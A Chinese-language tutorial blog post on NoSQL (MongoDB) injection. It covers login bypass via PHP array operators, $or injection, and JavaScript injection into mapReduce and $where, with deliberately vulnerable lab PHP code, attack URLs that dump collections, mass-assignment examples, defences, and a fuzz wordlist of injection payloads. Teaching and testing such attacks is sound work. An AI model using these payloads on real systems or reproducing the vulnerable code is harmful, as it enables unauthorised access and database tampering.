简述NoSQL注入

简介

​ NoSQL数据存储由于其可扩展性和易用性,最近几年变得越来越受欢迎,但是伴随着NoSQL数据库的兴起,安全问题也伴随着呈现。新的查询语法将传统的SQL注入方法语句将不再适用,本文将讨论几种NoSQL注入方式以及其数据库的安全风险。

​ 主要从如下四个方面进行说明

  • php array injection attack(php数据注入攻击)
  • MongoDB OR injection (mongo or 注入)
  • arbitrary JavaScript injection(任意js文件执行)
  • more

注入姿势

PHP ARRAY INJECTIONS

  • 服务器后台架构如下:后台为php后台,php后台通过json格式的数据与NoSQL数据库进行数据交互

  • php本身是不支持字典格式的,内部通过数组编码为json格式,eg:
array('username' => 'weiyi', 'password' => '123456');

# 编码后
// {"username":"weiyi", "password":"123456"}
  • 可以考虑这么一个场景,开发过程中登录HTTP请求大体会长这个样子
username=weiyi&password=123456
  • 那么我们php后台代码大概的样子为
db->users->find(array('username' => $_POST['username'], 'password' => $_POST['password']));

# 转换成数据库查询语句
db.users.find({"username":"weiyi", "password":"123456"});
  • php特定的语法特点是可以允许攻击者传入如下恶意请求
username[$ne]=1&password[$ne]=1

# 转换成 php 数组
array('username' => array('$ne' => '1'), 'password' => array('$ne' => '1'));

# 转换成 mongo 查询语句
db.users.find({"username":{"$ne":1}, "password":{"$ne":1}});
  • 这样我们就可以绕过登录限制,达到未授权访问后端

语义为 username不等于1,并且password不等于1的用户,转换成我们熟悉的SQL语句如下

select * from users where username <> 1 and password <> 1
  • 靶场demo
# 核心代码
$dbUsername = null;
$dbPassword = null;

$data = array(
    'username' =>  $_REQUEST['username'],
    'password' =>  $_REQUEST['password']

); 
$cursor = $collection->find($data);
$count = $cursor->count();
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
  • 登录界面

  • 正常登录界面

http://10.33.98.80/nosql/login/login.php?username=weiyi&password=5555555&login-submit=login

  • 绕过姿势
http://10.33.98.80/nosql/login/login.php?username[$ne]=1&password[$ne]=1&login-submit=login

  • 配合条件操作符
    • (>) 大于 - $gt
    • (<) 小于 - $lt
    • (>=) 大于等于 - $gte
    • (<= ) 小于等于 - $lte

类似于SQL bool注入,我们尝试爆破username字段最后一个字符

http://10.33.98.80/nosql/login/login.php?username[$gt]=weiyh&password[$ne]=1&login-submit=login

http://10.33.98.80/nosql/login/login.php?username[$gt]=weiyi&password[$ne]=1&login-submit=login

  • 其实不光是php有类似的问题,如果是其他语言的后台,比如python,同样可以传递字典,进行nosql注入

NoSQL OR INJECTION

​ 大家都知道,SQL注入的根本原因是SQL语句拼接前端不可信参数,未进行合理的编码导致。JSON格式的查询的数据交互方式让参数拼接变得难度倍增,但是并不代表没有可能

  • 比如场景下开发的代码可能是这个样子
string query = "{username: '" + post_username + "', password: '" + post_password + "'}";

db.users.execute(query);
  • 正常用户的输入会是如下的
username=weiyi&password=123456
# json
{"username": "weiyi", "password": "123456"}
  • 如果未对参数进行任何效验,那么攻击者可能构造如下语句,造成绕过登录限制
username=weiyi', $or:[{}, {'a':'a&password='}]
  • 拼接后的语句为
string query = "{username: 'weiyi', $or:[{}, {'a':'a', password: ''}] }";

# mongo 查询语句
{username: 'weiyi', $or:[{}, {'a':'a', password: ''}] }
  • {}空查询nosql语法判断为true
  • 这里转换成传统的SQL语句
SELECT * FROM users WHERE username = 'weiyi' AND (TRUE OR ('a'='a' AND PASSWORD = ''))
  • 最终,我们可以实现只要获取到用户名,就可以绕过密码进行登录

NoSQL JAVASCRIPT INJECTION

​ 这部分主要说的是nosql数据库的一个任意javaScript执行,众多非关系型数据库引擎是支持js代码的执行的,比如MongoDB,CouchDB等等,为的是实现更为复杂的查询操作,比如map-reduce操作

​ 比如如下场景:后端model层暴露了一个未经过滤的接口,参数$param可控。这里举一个最简单的map-reduce,统计一些商品的总价,$param为商品价格,后端的PHP代码可能是这个样子

// map
$map = "function() {
    for (var i = 0; i < this.items.length; i++) {
        emit(this.name, this.items[i].$param); } }";
// reduce
$reduce = "function(name, sum) { return Array.sum(sum); }";

$opt = "{ out: 'totals' }";
$db->execute("db.stores.mapReduce($map, $reduce, $opt);");
  • 可能的注入代码如下
a);}},function(kv) { return 1; }, { out: 'x' });
db.injection.insert({success:1});
return 1;db.stores.mapReduce(function() { { emit(1,1
  • 这里我们将代码分为三部分进行分析
# 闭合前部js代码
a);}},function(kv) { return 1; }, { out: 'x' });
# 真正的注入语句
db.injection.insert({success:1});
# 闭合后部js代码
return 1;db.stores.mapReduce(function() { { emit(1,1
  • 带入js代码
// map
$map = "function() {
    for (var i = 0; i < this.items.length; i++) {
        emit(this.name, this.items[i].a);}},
        function(kv) { return 1; }, { out: 'x' });
    db.injection.insert({success:1});
    return 1;db.stores.mapReduce(function() { { emit(1,1); } }";
// reduce
$reduce = "function(name, sum) { return Array.sum(sum); }";

$opt = "{ out: 'totals' }";
$db->execute("db.stores.mapReduce($map, $reduce, $opt);");
  • 最终数据库执行如下
db.stores.mapReduce(function() {
    # map
    for (var i = 0; i < this.items.length; i++) {
        emit(this.name, this.items[i].a);
    }
 },
    # reduce inject
    function(kv) { return 1; }, 
    # opt inject
    { out: 'x' }
);
db.injection.insert({success:1});
return 1;
db.stores.mapReduce(
    # map inject
    function() { { emit(1,1); } }, 
    # reduce
    function(name, sum) { return Array.sum(sum); },   
    # opt
    { out: 'totals' }                    
);
  • 靶场demo1

后端代码类似如下

$m = new MongoClient();
$db = $m->test;
$collection = $db->users;
  $query_body ="
        function q() {
            var username = ".$_REQUEST["username"].";
            var password = ".$_REQUEST["password"].";if(username == 'weiyi'&&password == '123456') return true; else{ return false;}}
";  
$result = $collection->find(array('$where'=>$query_body));
$count = $result->count();
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");

其中为了演示方便,账号密码写死为weiyi / 123456

  • 正常的请求如下

  • 闭合js绕过姿势
password = 2;return true

  • 靶场demo2

后端代码类似如下

$m = new MongoClient();
$db = $m->test;
$collection = $db->users;
$tem = $_REQUEST["password"];
$query = "function q(){";
$query.= "var secret_number = 111;";
$query.= "var user_try = $tem;";
$query.="if (secret_number!=user_try) return false;";
$query.="return true;";
$query.= "}";
$result = $collection->find(array('$where'=>$query));
$count = $result->count();
print_r($count);
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");

同理如下:

  • 靶场demo3

后端代码如下

  • 正常请求

  • 注入姿势
  • 拿到集合
219.153.49.228:41861/new_list.php?id=1'});return ({title:tojson(db.getCollectionNames()),1:'1

  • 查看集合中的数据
# 第一条
219.153.49.228:41861/new_list.php?id=1'});return ({title:tojson(db.Authority_confidential.find()[0]),1:'1

# 第二条
219.153.49.228:41861/new_list.php?id=1'});return ({title:tojson(db.Authority_confidential.find()[1]),1:'1

其它

CSRF+REST API 绕过防护

​ NoSQL数据库另一个特性是暴露HTTP REST API接口供用户查询,客户端可能是基于HTML5的应用程序,这样查询会更为方便,但是也具有一定的安全风险,特别是配合CSRF攻击

​ 如下如所示

NoSQL注入污染数据库

​ 开发的伪代码类似如下:

user_data = POST.data
db.user.update(user_data[id], user_data)

​ 说明,场景可能为更新用户信息,前端传递修改的手机号、年龄等,但是后端并未对需要更新的字段进行白名单过滤,此时如果攻击者增加level等字段,导致数据库信息修改,权限提升等

# 正常的请求
{"phonenum":"13344445555", "age":18}

# 攻击者请求
{"phonenum":"13344445555", "age":18, "level":1, "role":"admin"}
  • 某系统编辑处存在如下问题

  • 发送额外字段可导致插入数据库
  • 修改数据库create_time字段

  • 某系统新增业务处存在如下问题

污染数据库

防御手段

动态&&静态安全扫描

  • 动态代码扫描Dynamic Application Security Testing (DAST)
  • 静态代码分析(static code analysis)

控制rest api接口请求

​ 主要是为了防御CSRF攻击

  • 只接受JSON格式的content type
  • html表单不局限于只进行url编码
  • 确保不会出现JSONPCORS跨域请求

数据库权限控制

  • 对数据库操作进行合理的权限控制
  • 不同的用户访问不同的集合
  • 不同的用户对不同的集合增删改查权限做细分

编码规范

  • 控制更新白名单key
  • 非必要情况下前端禁止传入字典

写在最后

fuzz字典

https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
  • 12
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值